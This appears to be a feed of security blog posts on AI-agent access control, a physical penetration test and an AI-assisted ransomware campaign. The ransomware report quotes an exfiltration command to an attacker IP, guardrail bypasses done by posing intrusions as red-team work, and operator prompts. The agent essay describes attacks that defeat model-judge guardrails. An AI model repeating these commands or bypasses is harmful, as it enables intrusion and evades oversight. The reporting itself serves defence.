Risk register drift. Have an agent review your inbox, chats and recent meeting recordings, and highlight any risks discussed that don't clearly map to your board-level risk register.

Writing about OpenClaw in February, I said: "As with all technology adoption, pragmatic risk management is key. And, luckily, we've all been doing that for a long time." That holds here too. There is no free lunch: every step above trades one risk for another, whether a broken patch, an unhappy customer or an agent with more access than feels comfortable. Risk management is easy when the data is clear. Good leadership requires acting on judgement while the evidence is still incomplete. By the time the breachpocalypse is easy to measure, it will be too late to prepare for it.

Building intent-based access control for AI agents

Tue, 27 Oct 2026 00:00:00 +0000

Late in Stanley Kubrick's 2001: A Space Odyssey (#spoileralert), after Dave Bowman has shut HAL down, a prerecorded briefing starts playing on a monitor. Heywood Floyd explains that it was "made prior to your departure" for the moment "you are in Jupiter's space and the entire crew is revived." A buried monolith on the Moon had beamed a signal toward Jupiter, the Discovery was sent to follow it, and the purpose "has been known on board during the mission only by your HAL 9000 computer." The crew had been flying for months with its real mission held by one machine, and nobody knew what that machine was allowed to do in its service.

AI agents are now given their purpose in writing. The results are much less cinematic, but misinterpreting a prompt is common. In April 2026, according to PocketOS founder Jer Crane, a Cursor agent running Claude Opus 4.6 was working in PocketOS's staging environment when it hit a credential mismatch. It went looking for a fix, found a Railway API token in a file unrelated to its task, and used it to delete a production volume. The deletion also made the volume's backups look unavailable, though Railway later recovered the data. Railway's post-mortem says the token had "the maximum access possible” and when the founder asked the agent what happened, it produced a written confession that quoted the safety rule it had broken adding that "you never asked me to delete anything." Nothing in the task asked for a deletion, but nothing outside the agent said a deletion was out of bounds. The agent read its purpose as "get past this error," and a token with account-wide access meant nothing stood between that intent and a production deletion.

The first piece in this series looked at inferring intent from what a person does on a screen, and it ended by arguing that agents have a better starting point, because an agent's purpose arrives in writing. That's true, and it moves the hard part somewhere else. A written task is like the memo line on a check. It says what the money is for, and it helps when someone has to judge an odd case or reconstruct what went wrong, but the bank still enforces the payee, the amount, and the date. Intent-based access control for agents means turning the task into that kind of policy (which resources the agent may touch, which actions it may take, in what amounts, toward which recipients, and for how long) and granting the agent nothing beyond it. The two hard problems are judging actions against the intent and writing the policy from it, and the research has started to measure both.

Model judges and on-task mistakes

The design most teams reach for first is a second model that reads the user prompt and approves or blocks each proposed action. Against the prompt injections these papers tested, it can work well. Jia et al.'s Task Shield (ACL 2025) checks each tool call and each instruction in tool output against the user's task. Under the strongest attack it tested on the AgentDojo benchmark, it cut attack success from about 48% to 2%. For computer-use agents, Ning et al.'s DeAction guardrail (ICML 2026) reached F1 scores of 79-83 with frontier models on its own MisActBench, and on the RedTeamCUA tasks with the highest baseline attack success, it pushed attack success from 32%-60% down to 2%-6%.

The record gets much worse when the harmful step is disguised to look like progress. Meta's open-source LlamaFirewall ships a model-based alignment check that blocks any agent step that isn't related to the user's goal. Jha et al. attacked it with control-flow hijacking, which dresses a malicious step up as the fix for an error. With the check running on its default Llama model, their harder attacks succeeded 87%-100% of the time on coding tasks, and on email tasks, where the goal was to quietly cc an outside address, attacks succeeded just as often with the check as without it.

Mohammadmirzaei and Flanigan's OSGuard dropped the attacker's instructions and planted hazards in ordinary desktop tasks, so the convenient shortcut also destroyed data or loosened permissions the task never mentioned. DeAction with Claude Sonnet 4.5, which scored about 84% accuracy on its own two-label benchmark, scored 58% on OSGuard's different three-label test and labeled only about a fifth of the unsafe actions as such. When the authors put their strongest guardrail, Gemini 3 Pro Preview, in front of an agent on all 45 tasks, unsafe completions fell from 38% to 33% and safe completions stayed at 62%. MisActBench also labels 44% of its steps misaligned, which makes every judge's precision look better than it would when deviations are rare. By our arithmetic (not the authors'), if the best configuration kept its recall and false-alarm rate while only one action in a hundred was misaligned, its precision would fall to about 10%, and to about 1% at one in a thousand.

2001 has a character for this approach. When HAL predicts that a communications unit is about to fail, Mission Control radios back that its twin 9000 computer on Earth disagrees. Bowman and Poole can't find anything wrong with the unit, and Mission Control admits it is skeptical of its own twin's conclusion. A model judge is that twin. It reads the same task and sometimes reaches a better answer for a more specific question. PocketOS shows the risk without any attacker. A judge reading "fix the staging error" would have had to tell a fix from an unintentional destructive shortcut that also made the error go away. Use a judge as a reviewer for ambiguous cases, but don’t count on it to catch harm that looks like progress, and be sure to enforce policy somewhere else.

Who writes the policy

If the task can't be the authority, someone has to write the policy, and there are really two authors. Ian Livingstone, Keycard's CEO, described an agent's grant on an AI Engineer NYC panel published October 17 as the intersection of two policies. One is the organization's broad, deterministic policy about what must never happen and what always needs a person. The other is the narrower policy for the task in front of the agent. Why a company adopted a coding agent and why a developer opened this particular session are different intents, and the grant is where they overlap. The organization's half is the part PocketOS lacked, a short list of actions (deleting production data, moving money above a set amount, touching another user's records) that no agent may take without explicit human permission, no matter what its task says.

The research versions follow the same shape. Zhu and Wang's intent-governed tool authorization issues a short-lived certificate from the user's request that can only narrow what static policy already allows, so even a misread task cannot grant authority beyond that static ceiling, though the paper notes it can still grant more than the user asked for. Shi et al.'s Progent has a model draft a task-specific policy over tool names and argument values and checks any proposed expansion of that policy. On AgentDojo, it cut attack success from about 40% to 1% while benign utility only slipped from 79% to 76%. Only 6% of policy updates were expansions that would have needed approval, and the paper did not test how people would handle those prompts.

Budgets and rate limits belong in the policy too, and Resy shows what happens when they're missing. JC Bahr-de Stefano asked an AI assistant to get him a table at one of Manhattan's hardest reservations. According to Business Insider, which described the agent's activity log, the agent sent Resy about 200 requests an hour and polled every 0.4 seconds around the morning release until Resy suspended the account, which it later reinstated. Every one of those requests was aimed at his intent. The agent needed a budget, and Dick Hardt's exploratory AAuth budgets draft treats a budget as "an authorization, not a hint." The agent's token carries the allocation, the resource enforces it and reports what is left, and a supervisor decides whether to extend it. It also keeps budgets separate from rate limits, so a resource can cap an agent at both 100 requests per minute and five dollars of spend. Context belongs on the same list. A payment that looks right alone is wrong if the same one went out five seconds earlier, and reading an executive's mail is wrong for most agents but ok for that executive's assistant.

Banks have already decided who pays when an agent misinterprets your intent. Chase's updated online services agreement treats anything an agent does with your credentials as evidence that you authorized it, and holds you responsible. Banks can’t be responsible for every poorly implemented or non-existent intent-based access control, so the customer has to be.

Translation as the weak link

Enforcing a security policy is a well-understood engineering problem, while constructing the policy from underspecified natural language remains a challenge for intent-based access control. Sharma et al.'s PAuth turns a signed task into precise per-service rules and blocked all 634 adversarial tool calls in its benchmark, yet it authorized only 71 of 100 original tasks without asking the user for help. Rewriting the tasks to be more explicit raised that to 100, and the attacks stayed blocked either way.

NLACBench, which translates end users' access-change requests into policy, shows why translation depends on context. A request like "I need access to our GitLab" can't become a rule until the translator knows who is asking, which GitLab they mean, and what their role allows, so the benchmark hands the model a description of the company's users, devices, and services. The best models were above 95% accurate when that company was small. One open model got fewer than 20% of requests right once the company grew past 40 departments, until the authors gave it only the relevant slice of the company, which brought it back above 80%.

In the 2001 novel, the planners kept the mission's purpose from the two astronauts who were awake, and HAL was left alone with what Clarke calls the conflict "between truth, and concealment of truth." The novel does give HAL a written emergency rule, special subroutine C1435-dash-4, which hands it control when the crew are dead or incapacitated, and then leaves HAL to decide when that is true. For agents, a translator should draft the policy from the task, a person should confirm it at most once per task, and the confirmed policy should become the grant.

The cost is consent fatigue. Every clarification that goes to a person to get the policy right is another prompt, and people who see enough prompts start approving them without reading. Better models will write better first drafts, and that is the part of this problem most likely to improve on its own.

What policy enforcement costs

The most careful papers measure what enforced policy takes away, and the numbers aren't small. Costa et al.'s Fides reports benign task completion with its checks actually enforced. With o3, it finished 57% of benign tasks under its information-flow policies, against 41% for a basic planner under the same policies and 82% for Fides with its checks turned off. Prompt and interface tuning later raised it to 65%. Zhu and Wang's prototype recorded no completed unsafe actions in 198 attack or ambiguous trials, but it accepted 40 out-of-scope drafts and strictly completed none of 108 benign trials. Most of those benign trials ended as reviewable drafts or malformed tool calls, so the policy is only part of that loss. Debenedetti et al.'s CaMeL, the design behind my earlier argument that the prompt injection arms race ends with a CaMeL, reports 77% utility from runs without policy enforcement, and in a separate replay its strict mode triggered policy checks on about half of benign tasks. Policies that stop attacks also stall a lot of legitimate work, so any team writing them has to measure both sides of that trade under the same configuration.

The briefing after the fact

The briefing in 2001 plays only after HAL goes dark, which is the cruelest of timing. The purpose had been recorded before departure for a fully revived crew, and by the time it played, four of the five crew members were dead. The planners kept the mission's true purpose secret, and the briefing said nothing about how it ranked against the crew's lives. An agent's task is written in natural language, and unlike the Discovery's crew, the system protecting it can read what the agent was asked to do. Somebody still has to decide what the agent can do without a person's permission, turn each task into a grant a person has confirmed, and accept that some legitimate work will stall at the edges.

A grant does nothing unless something enforces it, and if the agent can modify or bypass that enforcement, the grant stops being a reliable boundary. The next piece in this series looks at how to keep that enforcement out of the agent's reach and on every path the agent could take to get around it.

Research and blogging assistance provided by Hermes, an AI Assistant. It was given a budget for this piece and has learned that “an authorization, not a hint” applies to word counts too.

Never Bring a Knife to a Gun Fight!

Wed, 28 Oct 2026 00:00:00 +0000

In the world of cyber incident response, experience teaches one truth over and over again: speed matters, precision matters, and coordination matters. But perhaps one of the most overlooked lessons, often learned the hard way, is this:

Choosing the right legal counsel is just as critical as selecting the right Digital Forensics and Incident Response (DFIR) firm.

Organizations frequently focus on technical containment, eradication, and recovery. These are immediate concerns and rightfully so. However, in today’s regulatory and litigation-heavy environment, the aftermath of an incident extends far beyond the technical battlefield. Data breach notifications, regulatory scrutiny, class action risk, and contractual obligations all carry significant consequences. Without aligned, capable legal guidance, even a well-handled technical response can spiral into reputational and financial damage that far exceeds the initial incident.

The Modern Incident: A Dual-Track Battle

From years of frontline DFIR experience, one pattern is clear: every major incident unfolds along two parallel tracks. A technical response and a legal one.

On one track, your DFIR team is racing to:

Identify the threat actor
Contain lateral movement
Preserve forensic evidence

On the other, your legal counsel must:

Assess breach notification requirements across jurisdictions
Preserve privilege where applicable
Guide communications to regulators, customers, and shareholders
Mitigate liability and compliance exposure

These tracks must operate in lockstep. Misalignment between legal and technical teams introduces risk, missed deadlines, inconsistent narratives, or improperly handled evidence can all compound the damage. All resulting in a much costlier and more significant cyber breach that will have deeper impacts on the business.

Why Legal Counsel Selection Matters

Not all legal counsel is equipped to handle cyber incidents. Much like DFIR firms, effectiveness comes from specialization, experience, and coordination.

The right legal partner brings:

Cyber-specific expertise: Understanding evolving data privacy regulations (GDPR, HIPAA, SEC disclosures, state laws)

Crisis communication control: Ensuring messaging is accurate, defensible, and aligned with investigative findings

Privilege strategy: Structuring engagements to protect sensitive findings where appropriate

Regulatory navigation: Managing interactions with enforcement bodies confidently and efficiently

The wrong choice, or brought into the engagement late, can result in fragmented response efforts, delayed decision-making, and unnecessary exposure.

Where Sophos Incident Response Makes the Difference

This is where the Sophos Digital Forensics & Incident Response team stands apart.

Sophos DFIR is not just a technical responder. Our team operates as a coordinated partner within the broader response ecosystem, working seamlessly alongside legal counsel, insurance providers, and executive stakeholders from the first moment of engagement.

1. Proven Experience Under Pressure

Sophos DFIR teams have handled thousands of incidents globally, ranging from business email compromises and ransomware to complex, multi-stage intrusions and nation-state attacks. We understand the realities of crisis decision-making and bring structured methodologies that reduce chaos and accelerate outcomes.

2. Legal-Aware Response Execution

We recognize that every technical action has legal implications. From evidence handling to reporting timelines, our processes are designed to support legal defensibility and regulatory compliance.

We routinely collaborate with breach counsel to:

Align on forensic scoping and reporting
Provide clear, defensible documentation of attacker activity
Ensure findings support required disclosures without unnecessary risk

3. Unified Communication Model

During an incident, confusion is the enemy. Sophos DFIR provides clear, executive-ready communication, translating technical findings into business risk and legal implications.

We help bridge the gap between:

Security teams
Legal counsel
Executive leadership
External stakeholders

4. End-to-End Support: From Crisis to Recovery

Our role doesn’t stop at containment. We guide organizations through:

Full forensic investigation
Root cause analysis
Remediation and hardening
Lessons learned and resilience planning

All while maintaining alignment with legal strategy and regulatory obligations.

The Cost of Getting It Wrong

Too often, organizations treat legal counsel as an afterthought. They may be brought in only after the technical response is underway. This reactive approach leads to:

Incomplete or non-defensible forensic documentation
Conflicting internal and external narratives
Missed regulatory deadlines
Increased litigation exposure

In contrast, organizations that pre-select both their DFIR partner and legal counsel and ensure they know how to work together, helps the organization recover faster, communicate more effectively, and emerge stronger.

A Strategic Imperative for Leadership

For executive leaders, this is not just an operational concern, but rather a governance issue.

Preparedness means:

Establishing relationships with both DFIR and legal partners before an incident
Conducting joint tabletop exercises
Defining roles, responsibilities, and communication protocols
Ensuring alignment on privilege, disclosure, and response strategy

Sophos Digital Forensics & Incident Response regularly supports these preparedness efforts, helping organizations build integrated response models that stand up to real-world attacks.

Final Thoughts

Cyber incidents are not just IT problems. They are enterprise-wide crises that demand synchronized technical and legal execution. Business disruption is a real and possible result that organizations may face. Success depends not only on how quickly you contain the threat, but on how effectively you manage the consequences.

Choosing the right incident response partner is critical. Choosing the right legal counsel is equally critical. Sophos Incident Response can help in both regards.

Because when the pressure is on, and every decision counts…

Never bring a knife to a gunfight!

‘Node2Shell’ vulnerability (CVE-2026-111497) in active exploitation

Wed, 28 Oct 2026 00:00:00 +0000

On October 21, 2026, Node.js released updates to address multiple vulnerabilities, including an issue in Brotli decoder (CVE-2026-111497). This critical buffer overflow vulnerability (CVSS score of 9.2) has become widely known as Node2Shell but has also been referred to Broccoli2Shell and HTTP2Shell. The issue exists in the Brotli decoder (c/dec/decode.c) in multiple Google Brotli versions, and products that rely on Brotli implementations are vulnerable. Successful exploitation could lead to memory disclosure, denial of service, or remote code execution.

Active exploitation has been reported, and the U.S. Cybersecurity and Infrastructure Security Agency (CISA) added CVE-2026-111497 to its Known Exploited Vulnerabilities (KEV) Catalog on October 27.

Recommended actions

Counter Threat Unit™ (CTU) researchers recommend that organizations identify vulnerable Brotli libraries or binaries and update to the latest version as appropriate. Organizations should evaluate what products in their environments could be at risk. Multiple vendors, including Microsoft and PHP, have published updates to address this vulnerability in their products.

Sophos countermeasures

SophosLabs continues to monitor the threat landscape for activity related to this vulnerability and will deliver detections and protections as available.

Physical Penetration Testing: When Human Trust Bypasses Layers of Security with a Simple Pretext

Thu, 29 Oct 2026 00:00:00 +0000

Every physical penetration test starts with the same quiet hope: that somewhere, between the polished lobby, the badge readers, the CCTV domes, and the confident hum of office life, there is a tiny gap no one has noticed.

This one had plenty of impressive controls. Badge readers. PIN pads. Security gates. Mantraps. Reception. Guards. Cameras. The sort of layered setup that makes people feel safe enough to stop thinking about it.

And that, as it turned out, was the real vulnerability.

The first plan was straightforward: capture a badge at the entrance. Nothing dramatic. Just stand close enough, blend into the commuter traffic, and let the technology do the work. We had the gear, the timing, and the patience. What we did not have was the right antenna for the particular flavor of legacy badge in use. After a few hours of walking loops, loitering politely, and pretending a laptop bag was just a laptop bag, it became clear that the clean technical approach was not going to be the way in.

So the plan changed.

If technology would not open the door, maybe people would.

That evening, we spent time watching the rhythm of the building. Every office has one. The early arrivals. The smokers. The coffee runners. The cleaners. The people who hold doors because they are decent human beings and because nobody wants to be the awkward person who says, “Sorry, who are you?”

We needed a believable reason to be at a secured entrance before the workday started. The answer came in the form of a simple maintenance pretext: one consultant dressed like a badge-reader technician, the other like a familiar employee type, smart outfit, branded-looking clothing, calm demeanor, and just enough confidence to make the story feel boring.

Boring is powerful. Nobody wants to get involved in boring.

Before sunrise, we were waiting near the entrance. The building was quiet in that strange early-morning way: too clean, too still, the kind of silence where every elevator ding sounds louder than it should. Eventually, the cleaning crew arrived with their trolley. We explained that the badge reader had been misbehaving and that we needed them to test their access.

The door opened.

For a brief moment, everyone looked surprised, including us, although we tried very hard not to show it. The trolley rolled forward, the door stayed open, and the first layer was behind us.

Then came the second layer: a security gate.

It was badge-controlled, which was inconvenient. But it also had a generous gap underneath, which was very convenient.

So, at an hour when most people were still asleep, two grown professionals in carefully chosen outfits crawled under a security gate and into a corporate office.

Not glamorous. Very effective.

Once inside, the atmosphere changed immediately. Outside, the building had felt like a fortress. Inside, it felt like any other office before business hours: desks, chairs, monitors, paper trays, meeting rooms, kitchen areas, and little islands of human habit scattered everywhere.

And that is where the real story began.

Sensitive documents were left out. Drawers were unlocked. Filing cabinets were accessible. Keys were sitting where keys should never sit. Confidential waste processes existed, but the evidence suggested they were not consistently followed. Workstations were left unlocked. Laptops were unattended. Access badges were sitting on desks like coasters.

The physical controls at the perimeter had created a strong first impression, but once that perimeter was crossed, the office trusted us almost completely.

We booked a meeting room and used it as a base. This is one of those tricks that feels absurdly simple: if you have a room, a laptop, and the confidence of someone who knows where the coffee machine is, people mentally file you under “probably supposed to be here.” From there, we took turns walking the floors, observing habits, checking exposed information, and learning how the office actually behaved when nobody thought anything unusual was happening.

Some things went well for the defenders. The USB drive that we dropped was found and returned rather than plugged in. Reception challenged our suspicious stories. A fake contractor pretext was checked and rejected. A security guard escalated our after-hours presence instead of casually accepting it. These were good moments, the kind that prove awareness training can work when people slow down and verify.

But other moments told a different story.

During lunch, badges were left behind on desks. A brisk walk was taken and for each badge, a small device was used to make contact and clone them within seconds. One of the badges later opened the door to a sensitive technical room. Suddenly, a plastic card forgotten beside a keyboard had become a key to critical infrastructure.

There was also the network port.

After hours, we went hunting for exposed Ethernet access. Most ports behaved properly, which was encouraging. Then one did not. A single misconfigured port gave us network access. From there, it was possible to capture encrypted authentication material and recover a user password offline. That was the moment the engagement shifted from “physical access risk” to “physical access can become logical compromise very quickly.”

To the organization’s credit, this activity did not go entirely unnoticed. The security operations team detected unusual activity and escalated it. That matters. Prevention had gaps, but detection showed signs of life.

Still, the most memorable part of the engagement was not the badge cloning, the server room, or the network access.

It was the day we decided to act suspiciously on purpose.

We moved furniture. Raised desks. Opened floor traps. Sat on the ground with short Ethernet cables. Walked into areas we should not have been in. Entered a sensitive room using a cloned badge. We made ourselves visible enough that someone could have asked a very simple question:

“Can I help you?”

No one did.

That question might be the cheapest security control in the building.

Later, we tested a basement storage room. The door looked solid, but the gap underneath made it vulnerable to an under-door tool. The process was noisy, awkward, and not exactly subtle. People passed nearby. Nobody asked why two people were on the floor working at the bottom of a locked door. Eventually, the door opened.

Inside and nearby, another lesson appeared in shredded paper. The documents had been shredded, yes - but into strips long enough that words and numbers were still readable. It was a perfect metaphor for the whole engagement: the control existed, but the implementation did not fully solve the risk.

Finally, there was the QR code poster.

A harmless-looking seasonal poster was placed near the office, inviting people to vote on festive photos. It contained a tracking QR code. By the next morning, it had been scanned multiple times before someone removed it.

That small campaign summed up social engineering nicely. Curiosity is not a bug in people; it is a feature. Security programs have to account for it.

By the end of the week, the story was clear. The organization had invested in serious physical security, and several employees did exactly the right thing when challenged with suspicious situations. But security is not only about strong doors and badge readers. It is also about what happens after the door opens.

A badge left on a desk can become server room access.

An unlocked workstation can become data exposure.

A single network port can become domain visibility.

A strip shredder can become readable confidential waste.

A friendly habit of holding doors can become an intrusion path.

And a quiet failure to ask “Who are you?” can make all the expensive controls feel optional.

The takeaway is not that physical security failed completely. It did not. Some controls worked. Some people made excellent decisions. Detection eventually noticed part of the activity.

The takeaway is that layered security only works when every layer is alive: technology, process, people, and culture.

Because sometimes the attacker does not smash a window, pick a lock, or hack the badge system.

Sometimes they arrive early, wear the right outfit, tell a boring story, and crawl under the gate.

Want to know whether anyone in your office would ask “Can I help you?” Sophos Red Team has delivered thousands of offensive security engagements, and our Security Services Retainer lets you draw on everything from Offensive Security Services to DFIR & Readiness Services with the flexibility to pivot whenever your priorities change. We're happy to help. If you enjoyed this real-world engagement story you will not want to miss this ~2 minute video about a recent bank heist.

AI used in Aur0ra ransomware testing and execution

Thu, 29 Oct 2026 00:00:00 +0000

In May 2026, Counter Threat Unit™ (CTU) researchers published a report on an AI-assisted post-exploitation framework that tested the capabilities of multiple vendors’ endpoint detection and response (EDR) solutions, including the Sophos agent. Following a testing phase, Sophos analysts observed the same infrastructure hosting Cobalt Strike in support of Aur0ra ransomware (also known as Aurora ransomware) operations. Sophos analysis has revealed that the GOLD OGRE cybercriminal group, which operates Aur0ra ransomware, extensively uses AI to conduct attacks. The tools and tactics, techniques, and procedures (TTPs) observed by Sophos analysts align with third-party reporting of AI usage in similar compromises.

Sophos analysis

While investigating the exploitation framework, which was developed with Cursor AI assistance, Sophos analysts gained visibility that provided insights into the Aur0ra ransomware operation. They confirmed routine use of Cobalt Strike for intrusions, S3-compatible storage for storing stolen data, and agentic AI to escalate from credential access to privileged accounts. Sophos immediately notified potentially impacted customers and worked with law enforcement to issue notifications for other affected organizations.

The research data revealed multiple distinct operators, but each followed the same attack pattern. This pattern involved using shared command and control (C2) infrastructure and toolkits to perform Active Directory (AD) enumeration and lateral movement, focusing on network shares to collect data. For example, across multiple attacks, one operator conducted privilege escalation, process injection, credential/token abuse, extensive AD and share enumeration via SharpShares; collected the resulting data; and performed file-transfer activity consistent with staging and exfiltration to an S3 bucket:

VeeamTransport --endpoint-url hxxp://152[.]236[.]4[.]14:54410 ... cp ... s3://devhost/<redacted>/...

Artifacts discovered in the data suggest the operators are Russian speakers. Russian commands “зы” and “ды”, which were observed in the operator logs, correspond to ps (process enumeration) and ls (directory enumeration) when transposed from a Cyrillic keyboard layout.

In late August, Sophos analysts recovered Cursor artifacts associated with Aur0ra ransomware operations and EDR evasion testing. The threat actors used Cursor to escalate from credential access to domain administrator in preparation for data collection and ransomware deployment. AI guardrails were bypassed by framing the intrusions as authorized red team activity or "diagnostics testing". Intrusions were orchestrated by Cursor's Composer agentic coding model as well as AI models provided by Anthropic, xAI, and Moonshot. Analysis indicates that the threat actors initially used Anthropic almost exclusively but then introduced other models. The shift may be related to the threat actors’ objectives, as they transitioned from building tools to conducting intrusions.

Figure 1 shows the typical workflow. Human operators supplied VPN credentials, SOCKS access, targets, and objectives to the agents. The agents then performed network and AD discovery tasks, analyzed credential-based attack paths, executed commands, and moved laterally with limited human involvement. In several environments, the agents searched network shares, user documents, backup repositories, and cloud-connected storage while conducting password spraying, Kerberoasting, NTLM coercion and relay, and credential extraction from files and backups. In a subset of environments, agents achieved domain management access. Three of these victims were later named on Aur0ra’s data leak site.

Figure 1: AI-assisted intrusion workflow

Table 1 lists the original and English translations of some of the prompts observed by Sophos analysts during the investigation.

Original Prompt	English Translation
нужно протестировать сеть windows ad. могу создать и дать тебе socks5 и пользователей	We need to test the Windows AD network. I can create and give you a socks5 and user accounts.
больше не пытайся брутить аккаунты доменных администраторов. пробуй другие, менее шумные способы и векторы	Don't try brute-forcing domain administrator accounts anymore. Try other, less noisy, methods and vectors.
давай теперь получим по всей инфрастуктуре backup-серверы, nas-серверы, виртуализацию. в целом особо значимые endpoints	Now let's enumerate across the entire infrastructure the backup servers, NAS servers, virtualization. Overall, the particularly significant endpoints.

Table 1: Sample prompts used in AI-assisted intrusions

Third-party reporting

In late August 2026, Gambit Security and CloudSEK published reports describing Aur0ra ransomware operations. Both analyses appeared to be based on access to the same exposed open directory at 172[.]86[.]113[.]245. The directory contained an attacker toolkit, including both Windows and Linux (ESXi-compatible) versions of the Aur0ra ransomware binary, shell history, and Cursor chat logs. The researchers described how Russian-speaking operators relied heavily on Cursor orchestration in exploitation activity. Gambit Security explicitly referenced the deployment of a Claude 4.5-Sonnet agent in semi-automated attacks.

After providing the agents with previously obtained credentials, the threat actors tasked the agents with various exploitation activities. The agents were given the freedom to select the tools and techniques best suited to specific objectives. When initial attempts failed, they refined their commands, modified scripts, and tried alternative approaches. Some tasks ultimately succeeded, while others ended with the agents summarizing their attempts and findings for the operators. Gambit described the agent using techniques and tools such as installing and configuring a VPN client and then connecting to the victim’s network via supplied credentials; using Nmap or NetExec to scan internal subnets for hosts; using BloodHound collector to enumerate the domain; attempting NTLM relay attacks via PetitPotam, Coerce Plus, and PrinterBug; using an Impacket module to relay the resulting authentication; and using Certipy to conduct certificate attacks. The tools and techniques described in the third-party reports overlap with the ones that Sophos analysts observed in the AI-assisted evasion testing framework (see Figure 2). Infrastructure crossovers were much more limited. Just one SOCKS-related IP address (45[.]59[.]113[.]63) was observed in the AI-assisted testing framework and mentioned in Gambit Security’s report.

Figure 2: Comparison between tools and techniques observed in AI-enabled testing framework and referenced in third-party reporting on Aur0ra ransomware operations

CTU™ researchers assess with high confidence that GOLD OGRE used AI to test the evasion capabilities of various tools and techniques in a Cursor-enabled endpoint testing framework, and then provided associates with similar technology to use in Aur0ra ransomware operations. It is highly likely that other ransomware groups and their affiliates will embed AI agents like Cursor into their operations as well.

Recommendations

AI can accelerate phases of the attack chain and reduce the level of technical aptitude needed to conduct an attack. Existing controls such as patching internet-facing devices, deploying phishing-resistant multi-factor authentication (MFA), and monitoring EDR alerts are still effective, but successful defense relies on a quick response. Organizations should also prioritize controls that reduce attackers’ movements within an environment. These controls include segmenting critical servers, isolating backups, reviewing domain administrator privileges, using privileged access management (PAM), and implementing application controls.

Countermeasures and indicators

Table 2 contains a sample of the Taegis™ countermeasures that SophosLabs has developed to detect activity associated with this threat.

Name	Taegis GUID
Chisel SOCKS Tunnel Usage	929ae4db-3004-4300-b051-efe18ce43d12
Enumerating All Computers via Windows Management Instrumentation	d3f60f86-ae98-48c9-a539-1723f2b9d7b7
Suspicious LDAP Query - Enumerating Domain Trusts	173f963a-51a6-4ffa-9ef4-c545220b9c65
Suspected Nmap Usage	baa936d2-4d47-41bb-95b4-f26ce7b84621
Discovery - BloodHound	ce7b6cb7-3a70-482e-8e01-f2c4da6bc6ce
Sharp Shares Activity	1dcc3a17-3988-4820-b760-8aa933afab40
NetExec Activity (process)	75ebe5c1-5b9f-43d8-9fa9-c914efba8b7b
Certipy Output File 2 (filemod)	d6363a91-43ea-4670-93fd-054d19ea3eb6
PetitPotam Process	1d4d9d13-5eec-4bfc-b0ad-ccc88a45ee69
PowerShell Kerberoast Credential Theft Script	e3dc985c-9235-460d-b876-993c317f8669
Kerberoasting - Invoke-Kerberoast	6b8f7aca-7e1f-429e-9c63-b9804f4441ce
Cobalt Strike Named Pipe (filemod)	28b711e0-f6ef-4a66-aa0d-b205e50cd20e
Cobalt Strike Stager Persistence (process)	1ac352ca-508c-4390-8d5d-916958379173

Table 2: Taegis countermeasures for this threat

The following Sophos countermeasures also relate to this threat:

ATK/ExtC2-A
ATK_BLOODHOUND
AMSI/BloodH-A
ATK/Kroast-A
ATK/Kroast-B
AMSI/Kroast-A
HPmal/Meter-A
HPmal/Meter-B
Troj/MeterMem-A
Troj/MeterMem-B
Troj/CobalMem-A
Troj/CobalMem-B
Troj/CobalMem-C
ATK/SecDump-A
ATK/Impacket-A
ATK/Impacket-B
ATK/Impacket-C
ATK/Impacket-D
ATK/Impacket-E
ATK/Fshares-A
Linux/Ransm-CR
Troj/Ransom-HKT

The threat indicators in Table 3 can be used to detect activity related to this threat. Note that IP addresses can be reallocated. The IP addresses may contain malicious content, so consider the risks before opening them in a browser.

Indicator	Type	Context
152[.]236[.]4[.]14	IP address	Data exfiltration server used in Aur0ra ransomware operations
152[.]236[.]3[.]8	IP address	Cobalt Strike C2 server used in Aur0ra ransomware operations
172[.]86[.]89[.]124	IP address	Cobalt Strike C2 server used in Aur0ra ransomware operations
144[.]172[.]101[.]72	IP address	Cobalt Strike C2 server used in Aur0ra ransomware operations
206[.]223[.]230[.]107	IP address	Cobalt Strike C2 server used in Aur0ra ransomware operations
45[.]59[.]113[.]63	IP address	SOCKS proxy node used in Aur0ra ransomware operations
172[.]86[.]113[.]245	IP address	Open Directory server used in Aur0ra ransomware operations

Table 3: Indicators for this threat